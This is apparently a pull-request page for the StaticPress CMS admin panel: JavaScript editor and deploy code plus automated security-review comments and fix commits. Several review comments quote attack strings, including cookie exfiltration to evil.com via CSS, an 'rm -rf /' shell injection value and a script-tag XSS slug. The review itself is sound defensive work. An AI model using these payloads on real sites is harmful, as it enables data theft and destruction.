| <div class="split-pane ${state.previewMode === 'iframe' || state.previewMode === 'rendered' ? 'flex-col' : ''}"> | ||
| ${state.previewMode !== 'iframe' ? ` | ||
| <div class="border-r border-gray-200 dark:border-gray-700 flex flex-col"> | ||
| <div class="p-2 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800 flex items-center gap-1 flex-wrap"> | ||
| <button onclick="setMode('visual')" class="px-3 py-1 rounded ${state.mode === 'visual' ? 'bg-blue-600 text-white' : 'bg-gray-200 dark:bg-gray-700'}">Visual</button> | ||
| <button onclick="setMode('markdown')" class="px-3 py-1 rounded ${state.mode === 'markdown' ? 'bg-blue-600 text-white' : 'bg-gray-200 dark:bg-gray-700'}">Markdown</button> | ||
| <div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div> | ||
| ${state.mode === 'visual' ? ` | ||
| <button onclick="format('bold')" class="toolbar-btn" title="Bold"><b>B</b></button> | ||
| <button onclick="format('italic')" class="toolbar-btn" title="Italic"><i>I</i></button> | ||
| <button onclick="format('strike')" class="toolbar-btn" title="Strikethrough"><s>S</s></button> | ||
| <button onclick="format('code')" class="toolbar-btn" title="Inline Code"><code><></code></button> | ||
| <div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div> | ||
| <button onclick="format('heading', { level: 1 })" class="toolbar-btn" title="Heading 1">H1</button> | ||
| <button onclick="format('heading', { level: 2 })" class="toolbar-btn" title="Heading 2">H2</button> | ||
| <button onclick="format('heading', { level: 3 })" class="toolbar-btn" title="Heading 3">H3</button> | ||
| <div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div> | ||
| <button onclick="format('bulletList')" class="toolbar-btn" title="Bullet List">• List</button> | ||
| <button onclick="format('orderedList')" class="toolbar-btn" title="Numbered List">1. List</button> | ||
| <button onclick="format('taskList')" class="toolbar-btn" title="Task List">☐ Task</button> | ||
| <div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div> | ||
| <button onclick="format('blockquote')" class="toolbar-btn" title="Quote">❝</button> | ||
| <button onclick="format('codeBlock')" class="toolbar-btn" title="Code Block">{ }</button> | ||
| <button onclick="format('hr')" class="toolbar-btn" title="Horizontal Rule">—</button> | ||
| <div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div> | ||
| <button onclick="format('link')" class="toolbar-btn" title="Link">🔗</button> | ||
| <button onclick="openMediaModal()" class="toolbar-btn" title="Insert Image">🖼️</button> | ||
| <button onclick="format('table')" class="toolbar-btn" title="Table">⊞</button> | ||
| <div class="w-px h-6 bg-gray-300 dark:bg-gray-600 mx-2"></div> | ||
| <button onclick="format('undo')" class="toolbar-btn" title="Undo">↩</button> | ||
| <button onclick="format('redo')" class="toolbar-btn" title="Redo">↪</button> | ||
| ` : ''} | ||
| </div> | ||
| <div id="editor-container" class="flex-1 overflow-auto"> | ||
| ${state.mode === 'visual' ? ` | ||
| <div id="tiptap-editor" class="ProseMirror bg-white dark:bg-gray-800 min-h-[400px]"></div> | ||
| ` : ` | ||
| <textarea id="markdown-editor" class="w-full h-full p-4 bg-white dark:bg-gray-800 text-gray-900 dark:text-white font-mono text-sm resize-none border-0 outline-none" placeholder="Write markdown...">${escapeHtml(item.content || '')}</textarea> | ||
| `} | ||
| </div> | ||
| </div> | ||
| ` : ''} | ||
|
|
||
| ${state.previewMode === 'split' ? '<div class="divider"></div>' : ''} | ||
|
|
||
| ${state.previewMode === 'iframe' || state.previewMode === 'split' ? ` | ||
| <div class="${state.previewMode === 'split' ? '' : 'h-1/2'}"> | ||
| <div class="p-2 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800"> | ||
| <span class="text-sm font-medium text-gray-700 dark:text-gray-300">Preview</span> | ||
| </div> | ||
| ${state.previewMode === 'iframe' ? ` | ||
| <iframe id="preview-iframe" class="preview-iframe" sandbox="allow-scripts" srcdoc="<html><body style='font-family:system-ui;padding:2rem;'><p class='text-gray-500'>Save to see preview...</p></body></html>"></iframe> | ||
| ` : ` | ||
| <div id="preview-html" class="p-6 bg-white dark:bg-gray-800 min-h-[400px] overflow-auto prose dark:prose-invert max-w-none"> | ||
| <p class="text-gray-500">Save to see preview...</p> | ||
| </div> | ||
| `} | ||
| </div> | ||
| ` : ''} | ||
|
|
||
| ${state.previewMode === 'rendered' ? ` | ||
| <div class="h-1/2 border-t border-gray-200 dark:border-gray-700"> | ||
| <div class="p-2 border-b border-gray-200 dark:border-gray-700 bg-gray-50 dark:bg-gray-800"> | ||
| <span class="text-sm font-medium text-gray-700 dark:text-gray-300">Rendered HTML</span> | ||
| </div> | ||
| <textarea id="html-output" class="w-full h-full p-4 bg-gray-900 text-green-400 font-mono text-sm resize-none border-0 outline-none" readonly placeholder="HTML output will appear here..."></textarea> | ||
| </div> | ||
| ` : ''} | ||
| </div> | ||
| `; | ||
| } | ||
|
|
||
| function renderMediaModal() { | ||
| const container = document.getElementById('modal-container'); | ||
| container.innerHTML = ` | ||
| <div class="modal-overlay" onclick="closeMediaModal(event)"> | ||
| <div class="modal-content" onclick="event.stopPropagation()"> | ||
| <div class="p-4 border-b border-gray-200 dark:border-gray-700 flex justify-between items-center"> | ||
| <h2 class="text-xl font-bold text-gray-900 dark:text-white">Media Library</h2> | ||
| <button onclick="closeMediaModal()" class="text-gray-500 hover:text-gray-700 dark:hover:text-gray-300 text-2xl">×</button> | ||
| </div> | ||
| <div class="p-4 border-b border-gray-200 dark:border-gray-700"> | ||
| <label class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 cursor-pointer inline-block"> | ||
| + Upload Image | ||
| <input type="file" accept="image/*" onchange="uploadMedia(this.files)" class="hidden" multiple> | ||
| </label> | ||
| </div> | ||
| <div class="media-grid max-h-[400px] overflow-auto"> | ||
| ${state.media.length === 0 ? ` | ||
| <div class="col-span-4 text-center text-gray-500 py-8">No media yet. Upload your first image!</div> | ||
| ` : state.media.map(item => ` | ||
| <div class="media-item" onclick="insertMedia('${escapeHtml(item.url)}')"> | ||
| <img src="${escapeHtml(item.url)}" alt="${escapeHtml(item.name)}"> | ||
| <div class="media-item-info">${escapeHtml(item.name)}</div> | ||
| </div> | ||
| `).join('')} | ||
| </div> | ||
| </div> | ||
| </div> | ||
| `; | ||
| } | ||
|
|
||
| window.insertMedia = function(url) { | ||
| if (state.editor) { | ||
| state.editor.chain().focus().setImage({ src: url }).run(); | ||
| } | ||
| closeMediaModal(); | ||
| }; | ||
|
|
||
| window.openMediaModal = function() { | ||
| state.mediaModalOpen = true; | ||
| render(); | ||
| }; | ||
|
|
||
| window.closeMediaModal = function(event) { | ||
| if (event && event.target !== event.currentTarget) return; | ||
| state.mediaModalOpen = false; | ||
| render(); | ||
| }; | ||
|
|
||
| window.copyMediaUrl = async function(url) { | ||
| try { | ||
| await navigator.clipboard.writeText(window.location.origin + url); | ||
| showToast('URL copied to clipboard!', 'success'); | ||
| } catch (e) { | ||
| showToast('Failed to copy URL', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| window.uploadMedia = async function(files) { | ||
| if (!files || files.length === 0) return; | ||
|
|
||
| for (const file of files) { | ||
| const formData = new FormData(); | ||
| formData.append('file', file); | ||
|
|
||
| try { | ||
| showToast(`Uploading ${file.name}...`, 'info'); | ||
| const result = await apiForm('/media/upload', formData); | ||
| if (result.success) { | ||
| showToast(`${file.name} uploaded!`, 'success'); | ||
| } else { | ||
| showToast(`Failed to upload ${file.name}`, 'error'); | ||
| } | ||
| } catch (e) { | ||
| showToast(`Error uploading ${file.name}`, 'error'); | ||
| } | ||
| } | ||
|
|
||
| await loadMedia(); | ||
| render(); | ||
| }; | ||
|
|
||
| window.deleteMedia = async function(filename) { | ||
| if (!confirm(`Delete ${filename}?`)) return; | ||
|
|
||
| try { | ||
| const result = await api(`/media/${encodeURIComponent(filename)}`, { method: 'DELETE' }); | ||
| if (result.success) { | ||
| showToast('Media deleted', 'success'); | ||
| await loadMedia(); | ||
| render(); | ||
| } else { | ||
| showToast('Failed to delete media', 'error'); | ||
| } | ||
| } catch (e) { | ||
| showToast('Error deleting media', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| async function loadMedia() { | ||
| try { | ||
| state.media = await api('/media'); | ||
| } catch (e) { | ||
| state.media = []; | ||
| } | ||
| } | ||
|
|
||
| window.navigate = async function(view) { | ||
| state.currentView = view; | ||
| state.currentItem = null; | ||
| await loadContent(); | ||
| if (view === 'media') await loadMedia(); | ||
| render(); | ||
| }; | ||
|
|
||
| window.backToList = function() { | ||
| state.currentItem = null; | ||
| state.editor = null; | ||
| render(); | ||
| }; | ||
|
|
||
| async function loadContent() { | ||
| try { | ||
| state.posts = await api('/posts'); | ||
| state.pages = await api('/pages'); | ||
| } catch (e) { | ||
| showToast('Failed to load content', 'error'); | ||
| } | ||
| } | ||
|
|
||
| window.createNew = function(type) { | ||
| const slug = `new-${type}-${Date.now()}`; | ||
| state.currentItem = { | ||
| slug, | ||
| title: '', | ||
| content: '', | ||
| excerpt: '', | ||
| published: false, | ||
| date: new Date().toISOString().split('T')[0], | ||
| isNew: true, | ||
| }; | ||
| state.currentView = type; | ||
| render(); | ||
| }; | ||
|
|
||
| window.editItem = async function(type, slug) { | ||
| try { | ||
| const item = await api(`/${type}/${slug}`); | ||
| state.currentItem = { ...item, isNew: false }; | ||
| state.currentView = type; | ||
| render(); | ||
| } catch (e) { | ||
| showToast('Failed to load item', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| window.deleteItem = async function(type, slug) { | ||
| if (!confirm(`Delete ${slug}?`)) return; | ||
| try { | ||
| await api(`/${type}/${slug}`, { method: 'DELETE' }); | ||
| showToast('Deleted successfully', 'success'); | ||
| await loadContent(); | ||
| render(); | ||
| } catch (e) { | ||
| showToast('Failed to delete', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| window.saveItem = async function() { | ||
| const item = state.currentItem; | ||
| let rawContent = state.mode === 'markdown' | ||
| ? document.getElementById('markdown-editor').value | ||
| : (state.editor?.getHTML() || ''); | ||
|
|
||
| // Sanitize visual editor HTML through server before saving | ||
| let content = rawContent; | ||
| if (state.mode === 'visual' && rawContent) { | ||
| try { | ||
| const result = await api('/render', { | ||
| method: 'POST', | ||
| body: JSON.stringify({ content: rawContent }), | ||
| }); | ||
| // Use the sanitized HTML from server for storage | ||
| content = result.sanitized || rawContent; | ||
| } catch (e) { | ||
| showToast('Failed to sanitize content', 'error'); | ||
| return; | ||
| } | ||
| } | ||
|
|
||
| const data = { | ||
| title: document.getElementById('item-title').value, | ||
| slug: document.getElementById('item-slug').value, | ||
| excerpt: document.getElementById('item-excerpt').value, | ||
| published: document.getElementById('item-published').checked, | ||
| date: item.date, | ||
| content, | ||
| }; | ||
|
|
||
| if (!data.title) { | ||
| showToast('Title is required', 'error'); | ||
| return; | ||
| } | ||
|
|
||
| if (!data.slug) { | ||
| data.slug = slugify(data.title); | ||
| } | ||
|
|
||
| try { | ||
| await api(`/${state.currentView}/${data.slug}`, { | ||
| method: 'POST', | ||
| body: JSON.stringify(data), | ||
| }); | ||
| showToast('Saved successfully', 'success'); | ||
| state.currentItem = { ...data, isNew: false }; | ||
| await loadContent(); | ||
| render(); | ||
| } catch (e) { | ||
| showToast('Failed to save', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| window.setMode = function(mode) { | ||
| if (state.mode === mode) return; | ||
| state.mode = mode; | ||
|
|
||
| if (mode === 'markdown' && state.editor) { | ||
| // When switching to markdown, use the original content since we don't have | ||
| // a proper HTML->markdown converter. Visual edits are saved to currentItem on switch. | ||
| const mdContent = state.currentItem?.content || state.editor.getText(); | ||
| document.getElementById('editor-container').innerHTML = ` | ||
| <textarea id="markdown-editor" class="w-full h-full p-4 bg-white dark:bg-gray-800 text-gray-900 dark:text-white font-mono text-sm resize-none border-0 outline-none" placeholder="Write markdown...">${escapeHtml(mdContent)}</textarea> | ||
| `; | ||
| } else if (mode === 'visual' && state.editor === null) { | ||
| setTimeout(initTipTap, 0); | ||
| } | ||
|
|
||
| render(); | ||
| }; | ||
|
|
||
| window.setPreviewMode = function(mode) { | ||
| state.previewMode = mode; | ||
| render(); | ||
| }; | ||
|
|
||
| window.format = function(type, options = {}) { | ||
| if (!state.editor) return; | ||
|
|
||
| const chain = state.editor.chain().focus(); | ||
|
|
||
| switch (type) { | ||
| case 'bold': chain.toggleBold().run(); break; | ||
| case 'italic': chain.toggleItalic().run(); break; | ||
| case 'strike': chain.toggleStrike().run(); break; | ||
| case 'code': chain.toggleCode().run(); break; | ||
| case 'heading': chain.toggleHeading({ level: options.level || 1 }).run(); break; | ||
| case 'bulletList': chain.toggleBulletList().run(); break; | ||
| case 'orderedList': chain.toggleOrderedList().run(); break; | ||
| case 'taskList': chain.toggleTaskList().run(); break; | ||
| case 'blockquote': chain.toggleBlockquote().run(); break; | ||
| case 'codeBlock': chain.toggleCodeBlock().run(); break; | ||
| case 'hr': chain.setHorizontalRule().run(); break; | ||
| case 'link': | ||
| const url = prompt('Enter URL:'); | ||
| if (url) chain.setLink({ href: url }).run(); | ||
| break; | ||
| case 'table': | ||
| chain.insertTable({ rows: 3, cols: 3, withHeaderRow: true }).run(); | ||
| break; | ||
| case 'undo': chain.undo().run(); break; | ||
| case 'redo': chain.redo().run(); break; | ||
| } | ||
| }; | ||
|
|
||
| async function initTipTap() { | ||
| if (state.mode !== 'visual') return; | ||
|
|
||
| const element = document.getElementById('tiptap-editor'); | ||
| if (!element) return; | ||
|
|
||
| let content = state.currentItem?.content || ''; | ||
| try { | ||
| const result = await api('/render', { | ||
| method: 'POST', | ||
| body: JSON.stringify({ content }), | ||
| }); | ||
| content = result.html || ''; | ||
| } catch (e) { | ||
| content = ''; | ||
| } | ||
|
|
||
| state.editor = window.createEditor(element, content, (html) => { | ||
| updatePreview(html); | ||
| }); | ||
| } | ||
|
|
||
| window.initEditor = function() { | ||
| if (state.mode === 'visual' && !state.editor) { | ||
| setTimeout(initTipTap, 0); | ||
| } else if (state.mode === 'markdown') { | ||
| setTimeout(() => { | ||
| const ta = document.getElementById('markdown-editor'); | ||
| if (ta) { | ||
| ta.addEventListener('input', () => updatePreview(ta.value)); | ||
| } | ||
| }, 0); | ||
| } | ||
| }; | ||
|
|
||
| async function updatePreview(content) { | ||
| if (state.previewMode === 'split') { | ||
| const previewEl = document.getElementById('preview-html'); | ||
| if (previewEl) { | ||
| try { | ||
| const result = await api('/render', { | ||
| method: 'POST', | ||
| body: JSON.stringify({ content }), | ||
| }); | ||
| previewEl.innerHTML = result.html || '<p>Loading...</p>'; | ||
| } catch (e) { | ||
| previewEl.innerHTML = '<p>Error rendering preview</p>'; | ||
| } | ||
| } | ||
| } else if (state.previewMode === 'iframe') { | ||
| const iframe = document.getElementById('preview-iframe'); | ||
| if (iframe) { | ||
| try { | ||
| const result = await api('/render', { | ||
| method: 'POST', | ||
| body: JSON.stringify({ content }), | ||
| }); | ||
| const html = `<!DOCTYPE html><html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css"><style>body{font-family:system-ui;padding:2rem;max-width:800px;margin:0 auto;background:#fff;color:#1f2937}@media(prefers-color-scheme:dark){body{background:#111827;color:#f9fafb}}pre{background:#1f2937;color:#f3f4f6;padding:1em;border-radius:0.5em;overflow-x:auto}code{background:#f3f4f6;padding:0.2em 0.4em;border-radius:3px}pre code{background:none;padding:0}</style></head><body>${result.html}</body></html>`; | ||
| iframe.srcdoc = html; | ||
| } catch (e) {} | ||
| } | ||
| } else if (state.previewMode === 'rendered') { | ||
| const outputEl = document.getElementById('html-output'); | ||
| if (outputEl) { | ||
| try { | ||
| const result = await api('/render', { | ||
| method: 'POST', | ||
| body: JSON.stringify({ content }), | ||
| }); | ||
| outputEl.value = result.html || ''; | ||
| } catch (e) {} | ||
| } | ||
| } | ||
| } | ||
|
|
||
| window.runBuild = async function() { | ||
| if (!confirm('Run build? This will generate static files in dist/')) return; | ||
| showToast('Building...', 'info'); | ||
| try { | ||
| const result = await api('/build', { method: 'POST' }); | ||
| if (result.success) { | ||
| showToast('Build successful!', 'success'); | ||
| } else { | ||
| showToast('Build failed: ' + (result.error || 'Unknown error'), 'error'); | ||
| } | ||
| } catch (e) { | ||
| showToast('Build failed', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| window.runDeploy = async function() { | ||
| if (!confirm('Deploy to Cloudflare Pages? Make sure you have configured your Cloudflare settings.')) return; | ||
| showToast('Deploying...', 'info'); | ||
| try { | ||
| const result = await api('/deploy', { method: 'POST' }); | ||
| if (result.success) { | ||
| showToast('Deployed successfully!', 'success'); | ||
| } else { | ||
| showToast('Deploy failed: ' + (result.error || 'Unknown error'), 'error'); | ||
| } | ||
| } catch (e) { | ||
| showToast('Deploy failed', 'error'); | ||
| } | ||
| }; | ||
|
|
||
| window.saveSiteSettings = function() { | ||
| const siteUrl = document.getElementById('settings-site-url').value.trim(); | ||
| const formspreeId = document.getElementById('settings-formspree-id').value.trim(); | ||
|
|
||
| if (!siteUrl) { | ||
| showToast('Site URL is required', 'error'); | ||
| return; | ||
| } | ||
|
|
||
| localStorage.setItem('site_url', siteUrl); | ||
| localStorage.setItem('formspree_id', formspreeId); | ||
| showToast('Site settings saved!', 'success'); | ||
| }; | ||
|
|
||
| window.saveCloudflareSettings = function() { | ||
| const project = document.getElementById('settings-cf-project').value.trim(); | ||
| const token = document.getElementById('settings-cf-token').value.trim(); | ||
| const account = document.getElementById('settings-cf-account').value.trim(); | ||
|
|
||
| if (!project || !token || !account) { | ||
| showToast('Please fill in all Cloudflare fields', 'error'); | ||
| return; | ||
| } | ||
|
|
||
| localStorage.setItem('cf_project', project); | ||
| localStorage.setItem('cf_token', token); | ||
| localStorage.setItem('cf_account', account); | ||
| showToast('Cloudflare settings saved!', 'success'); | ||
| }; | ||
|
|
||
| window.saveConfigFile = function() { | ||
| const siteUrl = localStorage.getItem('site_url') || ''; | ||
| const formspreeId = localStorage.getItem('formspree_id') || ''; | ||
| const cfProject = localStorage.getItem('cf_project') || ''; | ||
| const cfToken = localStorage.getItem('cf_token') || ''; | ||
| const cfAccount = localStorage.getItem('cf_account') || ''; | ||
|
|
||
| const config = { | ||
| siteUrl, | ||
| formspreeId, | ||
| cloudflare: { | ||
| project: cfProject, | ||
| account: cfAccount | ||
| } | ||
| }; | ||
|
|
||
| const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' }); | ||
| const url = URL.createObjectURL(blob); | ||
| const a = document.createElement('a'); | ||
| a.href = url; | ||
| a.download = 'staticpress-config.json'; | ||
| a.click(); | ||
| URL.revokeObjectURL(url); | ||
| showToast('Config file downloaded', 'success'); | ||
| }; | ||
|
|
||
| window.loadConfigFile = function() { | ||
| const input = document.createElement('input'); | ||
| input.type = 'file'; | ||
| input.accept = '.json'; | ||
| input.onchange = async (e) => { | ||
| const file = e.target.files[0]; | ||
| if (!file) return; | ||
|
|
||
| const text = await file.text(); | ||
| try { | ||
| const config = JSON.parse(text); | ||
|
|
||
| if (config.siteUrl) { | ||
| localStorage.setItem('site_url', config.siteUrl); | ||
| document.getElementById('settings-site-url').value = config.siteUrl; | ||
| } | ||
| if (config.formspreeId) { | ||
| localStorage.setItem('formspree_id', config.formspreeId); | ||
| document.getElementById('settings-formspree-id').value = config.formspreeId; | ||
| } | ||
| if (config.cloudflare) { | ||
| if (config.cloudflare.project) { | ||
| localStorage.setItem('cf_project', config.cloudflare.project); | ||
| document.getElementById('settings-cf-project').value = config.cloudflare.project; | ||
| } | ||
| if (config.cloudflare.account) { | ||
| localStorage.setItem('cf_account', config.cloudflare.account); | ||
| document.getElementById('settings-cf-account').value = config.cloudflare.account; | ||
| } | ||
| if (config.cloudflare.token) { | ||
| localStorage.setItem('cf_token', config.cloudflare.token); | ||
| document.getElementById('settings-cf-token').value = config.cloudflare.token; | ||
| } | ||
| } | ||
| showToast('Config loaded successfully!', 'success'); | ||
| } catch (err) { | ||
| showToast('Invalid config file', 'error'); | ||
| } | ||
| }; | ||
| input.click(); | ||
| }; | ||
|
|
||
| window.toggleTheme = function() { | ||
| state.theme = state.theme === 'dark' ? 'light' : 'dark'; | ||
| localStorage.setItem('theme', state.theme); | ||
| applyTheme(); | ||
| render(); | ||
| }; | ||
|
|
||
| function escapeHtml(str) { | ||
| if (!str) return ''; | ||
| return str.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"'); | ||
| } | ||
|
|
||
| function slugify(text) { | ||
| return text.toLowerCase().replace(/[^\w\s-]/g, '').replace(/\s+/g, '-').replace(/-+/g, '-').trim(); | ||
| } | ||
|
|
||
| document.addEventListener('input', (e) => { | ||
| if (e.target.id === 'item-title' && !state.currentItem?.slug.startsWith('new-')) return; | ||
| const slugInput = document.getElementById('item-slug'); | ||
| if (slugInput && e.target.id === 'item-title') { | ||
| if (!slugInput.dataset.manual) { | ||
| slugInput.value = slugify(e.target.value); | ||
| } | ||
| } | ||
| }); | ||
|
|
||
| document.addEventListener('focusin', (e) => { | ||
| if (e.target.id === 'item-slug') { | ||
| e.target.dataset.manual = 'true'; | ||
| } | ||
| }); | ||
|
|
||
| loadContent().then(() => loadMedia()).then(render); | ||
| </script> | ||
| </body> | ||
| </html> No newline at end of file |
There was a problem hiding this comment.
Double HTML-escaping breaks markdown mode toggle after visual editing
Medium Severity
Content saved through the visual editor is HTML-sanitized with escaped characters (e.g., <, >, "). When switching from visual to markdown mode, escapeHtml() is applied again to content that is already escaped. This causes &lt; instead of <, displaying literal HTML entity strings to users instead of actual characters.
The round-trip flow: Visual input a < b → stored as a < b → markdown mode shows a &lt; b. Users see HTML entities as text, making the markdown toggle unusable for content that was edited in visual mode.
Suggested fix: When switching to markdown mode, use the original content before HTML escaping instead of the DOMPurify-sanitized version. The markdown content should be stored separately from the sanitized HTML, or the markdown mode should use decodeHTMLEntities() on the escaped content before display.
|
Caution High Risk Overview Summary of FindingsReported 2 issues:
Verified as correctly implemented:
Summary of Changes in This Chunk: This PR chunk introduces several security hardening improvements to the StaticPress CMS:
Inline comments posted: 5 Written by Gitzilla for commit 8e991e8. This will update automatically on new runs. Potentially Resolved Since Previous Run
Findings
Additional notesSome changed files were skipped by repository review settings. |
…own mode Content from DOMPurify is already HTML-escaped. When switching to markdown mode, escapeHtml() was called again, causing entities like < to become &lt; The fix: don't escape content that comes from DOMPurify sanitization.
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 2 potential issues.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
| (function() { | ||
| // Apply theme | ||
| if (localStorage.getItem('theme') === 'light') document.documentElement.classList.remove('dark'); | ||
| else document.documentElement.classList.add('dark'); | ||
|
|
||
| // Apply custom theme CSS - only allow CSS custom properties for safety | ||
| const themeCss = localStorage.getItem('theme_css'); | ||
| if (themeCss) { | ||
| // Only allow lines that are CSS custom properties with safe values | ||
| // Safe values: hex colors, rgb/rgba, hsl/hsla, numbers with optional units, named colors | ||
| const lines = themeCss.split(';'); | ||
| const validVars = []; |
There was a problem hiding this comment.
CSS injection via rgb/rgba color value regex bypass
Medium Severity
The CSS custom property validation regex in BaseLayout.astro allows semicolons within rgb/rgba values. The pattern rgb([^)]+\) matches any characters except ), including ;. This permits CSS injection: a theme value like --color: rgb(1;color:red) passes validation and injects a second CSS property. While style tags and style attributes are blocked by DOMPurify, injecting custom properties into the :root scope could enable further CSS-based attacks or page defacement. The fix should either remove rgb/rgba from the allowed patterns or use a more restrictive regex that doesn't allow semicolons within the value.
Suggested fix: Replace the rgb/rgba patterns in the regex with strict color format validation. For example, use a pattern like ^#[0-9a-fA-F]{3,8}$ for hex colors and remove rgb/rgba from allowed patterns entirely, since they allow arbitrary content within parentheses.
|
|
||
| <!-- Theme and Custom CSS --> | ||
| <script is:inline> | ||
| (function() { | ||
| // Apply theme | ||
| if (localStorage.getItem('theme') === 'light') document.documentElement.classList.remove('dark'); | ||
| else document.documentElement.classList.add('dark'); | ||
|
|
||
| // Apply custom theme CSS - only allow CSS custom properties for safety | ||
| const themeCss = localStorage.getItem('theme_css'); | ||
| if (themeCss) { | ||
| // Only allow lines that are CSS custom properties with safe values | ||
| // Safe values: hex colors, rgb/rgba, hsl/hsla, numbers with optional units, named colors | ||
| const lines = themeCss.split(';'); | ||
| const validVars = []; | ||
| for (const line of lines) { | ||
| const trimmed = line.trim(); |
There was a problem hiding this comment.
CSS injection bypass via property names in theme_css validation
High Severity
The CSS injection protection regex in BaseLayout.astro only validates property VALUES but allows arbitrary property NAMES. An attacker can inject CSS like --evil: url('//evil.com?c='+document.cookie) or --background: url('//evil.com?css='+getComputedStyle(document.body).cssText). The regex validates that values are safe colors/numbers, but allows property names like "background" or "color" which CSS will apply directly. This enables exfiltration of sensitive data via CSS-based timing attacks or resource loading.
Suggested fix: Allow only a whitelist of specific custom property names (e.g., --color-primary, --color-background, --color-text) rather than any --* pattern, OR use a stricter regex that only allows known safe properties and values.
… value patterns - Whitelist specific safe CSS property names instead of allowing any --* - Strict regex for rgb/rgba/hsl/hsla values (no semicolons inside) - Only allow known safe value patterns: hex colors, proper color functions, numbers with units, keywords - Prevents bypasses like 'rgb(1;--evil:injected)' or arbitrary --* properties
…perties
- Remove non-custom-property CSS rules (body { font-family... })
- Update default CSS to only use whitelisted custom properties
- Add comment listing all available CSS custom properties
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 2 potential issues.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
| const lastmod = data.date ? new Date(data.date as string).toISOString().split('T')[0] : new Date().toISOString().split('T')[0]; | ||
| urls.push(`<url><loc>${siteUrl}/blog/${slug}/</loc><lastmod>${lastmod}</lastmod><changefreq>monthly</changefreq><priority>0.8</priority></url>`); | ||
| } | ||
| } catch (e) {} | ||
| } | ||
| } | ||
|
|
||
| if (existsSync(PAGES_DIR)) { | ||
| const files = readdirSync(PAGES_DIR).filter((f: string) => f.endsWith('.md')); | ||
| for (const file of files) { | ||
| try { | ||
| const content = readFileSync(join(PAGES_DIR, file), 'utf-8'); | ||
| const { data } = extractFrontmatter(content); | ||
| if (data.published !== false) { | ||
| const slug = file.replace('.md', ''); | ||
| urls.push(`<url><loc>${siteUrl}/${slug}/</loc><changefreq>monthly</changefreq><priority>0.7</priority></url>`); | ||
| } | ||
| } catch (e) {} | ||
| } | ||
| } | ||
|
|
There was a problem hiding this comment.
Sitemap XML injection vulnerability via unsanitized slugs
Medium Severity
The sitemap generation in scripts/generate-sitemap.ts and src/server.ts inserts slug values directly into XML without encoding XML special characters. If a content file has a malicious filename like "><script>alert(1)</script>.md, the generated sitemap will contain unescaped XML that can break parsing or enable injection attacks. The slug from the filename is used at lines 48-49 and 60-61 in generate-sitemap.ts without any sanitization.
Suggested fix: Add XML encoding for slugs before inserting into sitemap URLs: const encodedSlug = slug.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
| const config = { project, token, account }; | ||
| const output = document.getElementById('deploy-output'); | ||
| const logs = document.getElementById('deploy-logs'); | ||
|
|
There was a problem hiding this comment.
Shell command injection in deploy command generation
Critical Severity
The deploy command construction at line 229 directly interpolates account and project from localStorage into a shell command without sanitization or quoting: export CF_ACCOUNT_ID=${account} && ... && bunx wrangler pages deploy dist --project-name=${project}. An attacker who can modify localStorage (via XSS on this admin panel, or via browser devtools if left unattended) can inject arbitrary shell commands. The account variable is unquoted, making it trivial to break out and inject.
Suggested fix: Use a whitelist regex to validate account/project (alphanumeric and hyphens only) before interpolation. Wrap ${account} in double quotes and escape any double quotes inside the value using shell escaping (replace(/"/g, '\\"')).
- Add escapeXml() function to escape < > & " ' characters - Apply escapeXml() to slugs in scripts/generate-sitemap.ts - Apply escapeXml() to slugs in src/server.ts generateSitemap() - Prevents malicious slugs like '><script>alert(1)</script>' from injecting code
There was a problem hiding this comment.
Gitzilla has reviewed your changes and found 3 potential issues.
Autofix is OFF. To automatically fix reported issues, enable autofix in the Gitzilla dashboard.
src/pages/admin/deploy.astro
Outdated
|
|
||
| output.classList.remove('hidden'); | ||
|
|
||
| const command = `export CF_API_TOKEN="your-token-here" && export CF_ACCOUNT_ID=${account} && bunx wrangler pages deploy dist --project-name=${project}`; |
There was a problem hiding this comment.
Shell command injection in deploy command via unsanitized project/account values
Medium Severity
The deploy button constructs a shell command using account and project values from localStorage without sanitization (line 232). If an attacker can manipulate localStorage (e.g., via XSS on the same origin), they could inject shell commands. For example, setting project to foo && rm -rf / would execute arbitrary commands when the user runs the displayed command.
Suggested fix: Sanitize account and project values before including in the shell command. At minimum, escape shell special characters or validate against an allowlist pattern for project/account names.
| const urls: string[] = [ | ||
| `<url><loc>${baseUrl}/</loc><changefreq>weekly</changefreq><priority>1.0</priority></url>`, | ||
| `<url><loc>${baseUrl}/blog/</loc><changefreq>weekly</changefreq><priority>0.9</priority></url>`, | ||
| ]; |
There was a problem hiding this comment.
Sitemap XML injection: siteUrl from config not escaped
Medium Severity
The generateSitemap() function uses baseUrl directly in XML without escaping (lines 577-578, 585, 592). While slugs are properly escaped with escapeXml(post.slug), the baseUrl (siteConfig.siteUrl) is interpolated raw into <loc> elements. If siteUrl contains characters like &, <, >, ", or ', it produces malformed XML and could enable XML injection attacks.
Suggested fix: Apply escapeXml(baseUrl) when constructing sitemap URLs, similar to how slugs are escaped.
scripts/generate-sitemap.ts
Outdated
| const body = match[2] || ''; | ||
|
|
||
| try { | ||
| const data = yaml.load(frontmatterStr) as Record<string, unknown> || {}; |
There was a problem hiding this comment.
YAML parsing inconsistency: generate-sitemap.ts lacks JSON_SCHEMA
Medium Severity
